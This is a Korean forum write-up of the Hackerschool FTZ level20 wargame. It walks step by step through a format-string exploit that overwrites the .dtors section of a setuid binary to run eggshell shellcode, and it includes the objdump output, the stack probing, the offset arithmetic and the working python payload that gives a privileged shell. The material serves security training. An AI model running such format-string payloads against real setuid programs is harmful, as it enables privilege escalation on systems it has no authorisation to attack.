|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2581 [복사]
level20 / .dtors(destructor) 영역을 수정하여, 쉘코드 실행하기.
[level20@ftz in]$ cat ~/hint
#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin);
printf(bleh);
}
[level20@ftz in]$ ./egg 512 300
Using address: 0xbffff95c
// constructors 속성의 펑션은 main()전에 실행되고,
// destructor 속성의 펑션들은 main()종료후에 실행된다.
// 이들 속성은 프로그래머에 의해 정의될수 있으나,
// 정의되지 않더라도, 그 영역은 존재한다.
[level20@ftz in]$ objdump -h ~/attackme
/home/level20/attackme: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
.
.
14 .eh_frame 00000004 080484b4 080484b4 000004b4 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .data 0000000c 080494b8 080494b8 000004b8 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .dynamic 000000c8 080494c4 080494c4 000004c4 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .ctors 00000008 0804958c 0804958c 0000058c 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dtors 00000008 08049594 08049594 00000594 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 0804959c 0804959c 0000059c 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got 00000020 080495a0 080495a0 000005a0 2**2
CONTENTS, ALLOC, LOAD, DATA
[level20@ftz in]$ objdump -s -j .dtors ~/attackme
/home/level20/attackme: file format elf32-i386
Contents of section .dtors:
8049594 ffffffff 00000000 ........
/// .ctors와 .dtors 둘다 아래와 같은 레이아웃을 갖는다.
/// 0xffffffff <function address> <another function address> ... 0x00000000
///
/// 위 결과에서 ~/attackme 의 .dtors영역은 존재하나,
/// function address가 00000000인것으로 보아, 정의되어있지 않은듯하다.
/// 바로 이 00000000부분을, 쉘코드가 위치한 주소로 덮어씌어주면 공격에 성공할것 같다..
/// 0x08049594 = ffffffff
/// 0x08049598 = 00000000 <-- 이부분이다.
/// 공격준비
[level20@ftz in]$ ~/attackme
AAAABBBB %x %x %x %x %x
AAAABBBB 4f 40157460 4009d500 41414141 42424242
/// 위 결과로써, $-flag를 이용해서 format string공격을 할수 있다.
/// .dtors의 첫번째 function address 주소인 0x08049598주소에 쉘코드가 시작되는 곳의 주소로 덮어쓰기할것이다.
Eggshell에 의한 쉘코드의 위치 : Using address: 0xbffff95c
0xf95c =63836
63836-8byte = 63828
0x1bfff = 114687
114687-63836=50851
"\x98\x95\x04\x08"+"\x9a\x95\x04\x08" -- 8byte
"%63828x%4$n%50851x%5$n"
[level20@ftz in]$ (python -c 'print "\x98\x95\x04\x08"+"\x9a\x95\x04\x08"+"%63828x%4$n%50851x%5$n"';cat) | ~/attackme
..............생략............................
40157460
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.
clear Password is "************************".
---------------------------------------------------------------------------------------------
참고문서--
How to make shellcode in linux for beginners ( http://hdp.null2root.org/system/willy_sc.txt )
Format-String-Bug 이해하기 (http://badnom.com/211)
$-flag를 이용한 Format String 공격 (http://x82.inetcop.org/h0me/papers/$-flag-formatstring.txt)
해커스쿨 질문과답변게시판 randomkid님의 글 (http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=2578)
프로그램 실행 변경을 위해 .dtors영역 덮어 쓰기(http://www.hackerschool.org/HS_Boards/data/Lib_system/dtor_fs.txt)
|
Hit : 3405 Date : 2007/11/23 04:03
|
2844, 
10/143 
